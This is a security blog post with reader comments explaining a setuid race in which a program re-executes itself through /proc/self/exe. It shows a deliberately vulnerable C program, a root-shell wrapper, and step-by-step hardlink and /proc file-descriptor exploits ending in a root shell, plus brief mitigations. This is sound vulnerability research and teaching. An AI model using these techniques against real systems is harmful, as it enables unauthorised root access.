In short
Consider the pulseaudio case, which can be reduced to:- file is setuid
- readlink("/proc/self/exe", buf, sizeof(buf))
- later, execve(buf, .., ..)
This race condition can be exploited if you are able to change the value pointed by the symlink /proc/self/exeright after the program execution and before readlink(). You can do that by creating a hardlink to the program in a directory you own, then delete it and place your program within the race window. Indeed, if you use a symlink, execve() will resolve it before execution and /proc/self/exe would point to the actual program (that you cannot/do not want to delete).
Proof of concept
Consider the following vulnerable program:1 2 3 4 5 6 7 8 9 10 11 12 13 14 | #include <unistd.h> int main( int argc, char **argv, char **envp) { char buf[4096]; /* do some stuff, and a check if we require new execution */ if (argc < 2) { if (readlink( "/proc/self/exe" , buf, sizeof (buf)) < 0) return 1; char *args[] = { buf, "1" , 0 }; if (execve(args[0], args, 0) < 0) return 1; } /* do some stuff */ return 0; } |
1 2 3 4 5 6 7 | $ gcc -Wall -o vulnerable vulnerable.c $ sudo chown root: vulnerable $ sudo chmod u+s vulnerable $ ls -l total 12 -rwsr-xr-x 1 root root 6961 Nov 1 03:38 vulnerable -rw-r--r-- 1 stalkr stalkr 447 Nov 1 03:38 vulnerable.c |
Exploit 1: classic race exploitation
For those where sh is linked to bash, we will need a small wrapper to give us euid (geteuid) as uid (setuid). Also, this wrapper will help in the classical exploitation of the race condition by exiting if it has not reached the target uid. Here is the wrapper:1 2 3 4 5 6 7 8 | #include <unistd.h> int main() { if (geteuid()!=0) exit (1); setuid(geteuid()); char *args[] = { "/bin/sh" , 0 }; return execve(args[0], args, 0); } |
1 | $ gcc -Wall -o wrapper wrapper.c |
1 | $ while :; do ln -f . /vulnerable poc; ln -f . /wrapper poc; done |
1 | $ while :; do nice -n 20 . /poc ; done |
To exploit this race reliably, we need to find a way to stop the execution of the process before its main(). That's the challenge Julien Tinnes gave to his readers, and I will repeat the two known solutions here.
Exploit 2: fill blocking pipes
I will just quote the answer comment by Julien Tinnes:"So yeah, this is it, the LD_DEBUG trick still works. You set LD_DEBUG to a bogus value and then you exhaust a pipe like usual and dup2 it to the child's stderr. It solves the part where the parent has to wait for the child to be ready.
And to guarantee that the parent will not perform a certain action before the child is inside execve(), I used vfork().
So the LD_DEBUG trick + vfork() was our "old school" solution and Dividead was the first to find and report to us this solution (at least the first part)."
Indeed there is a very good work by Dividead on his blog, with exploit code.
Exploit 3: use /proc file descriptors
Create the hardlink, then open a file descriptor in the current shell to it:1 2 3 4 | $ ln vulnerable poc $ exec 3< . /poc $ ls -l /proc/ $$ /fd/3 lr-x------ 1 stalkr stalkr 64 Nov 1 03:39 /proc/2074/fd/3 -> /home/stalkr/poc |
Now we delete our hardlink to the setuid program:
1 | $ rm -f poc |
1 2 | $ ls -l /proc/ $$ /fd/3 lr-x------ 1 stalkr stalkr 64 Nov 1 03:39 /proc/2074/fd/3 -> /home/stalkr/poc (deleted) |
Then just place the program you want at this destination. Here I will just use a setuid(geteuid)+execve(/bin/sh) wrapper.
1 | $ mv wrapper 'poc (deleted)' |
The final step is to execute the program. We do that by using shell built-in exec on the file descriptor and it has the effect of calling execve() on this file descriptor. But remember, this file descriptor has root owner and setuid bit, so it executes the vulnerable program (still on disk because it was a hardlink) with these properties. The vulnerable program then executes itself via /proc/self/exe which now points to our program, and we eventually get the euid root:
1 2 3 | $ exec /proc/ $$ /fd/3 sh-4.1 # id uid=0(root) gid=1000(stalkr) groups =0(root),1000(stalkr) |
Update: on newer kernels, this exploitation technique is no longer usable because file is renamed as (deleted) /path/to/file.
Conclusion
I very much liked the last technique using /proc and file descriptor. I hope I did not say anything wrong, if so feel free to correct me.About the mitigations, in addition to protecting your /tmp with nosuid or noexec mount options, you can consider having your setuid binaries on another filesystem, thus disallowing hardlinking - because hardlinks can only be on the same filesystem by definition.
Hello,
ReplyOn dpkg based distros, hardlinking will not allow to keep the suid bit on the vulnerable program in case of an upgrade. dpkg removes suid bit before unlinking. See http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=225692
If you want to keep a specific permission on a particular file, you can use dpkg-statoverride that keeps the change accross upgrades.
waiting to hear about your way to execute code before main()...
ReplyI received only one correct solution for now. I'll wait a few more days before posting solutions.
ReplyCheers,
No idea if this is the same thing, but for blocking between execution and main the method I thought up seems to work nice enough: http://dividead.wordpress.com/2009/07/21/blocking-between-execution-and-main/
ReplyI forgot to reply here:
ReplySo yeah, this is it, the LD_DEBUG trick still works. You set LD_DEBUG to a bogus value and then you exhaust a pipe like usual and dup2 it to the child's stderr. It solves the part where the parent has to wait for the child to be ready.
And to guarantee that the parent will not perform a certain action before the child is inside execve(), I used vfork().
So the LD_DEBUG trick + vfork() was our "old school" solution and Dividead was the first to find and report to us this solution (at least the first part).
The new school solution, as found by a few individuals, the first mailing me being Gabriel Campana, is to use the magic of execve on fds in /proc (as described in the blog post): hardlink pulseaudio to "sploit", put your shell in "sploit (deleted)", open() "sploit", unlink it and fexecve() and you're done!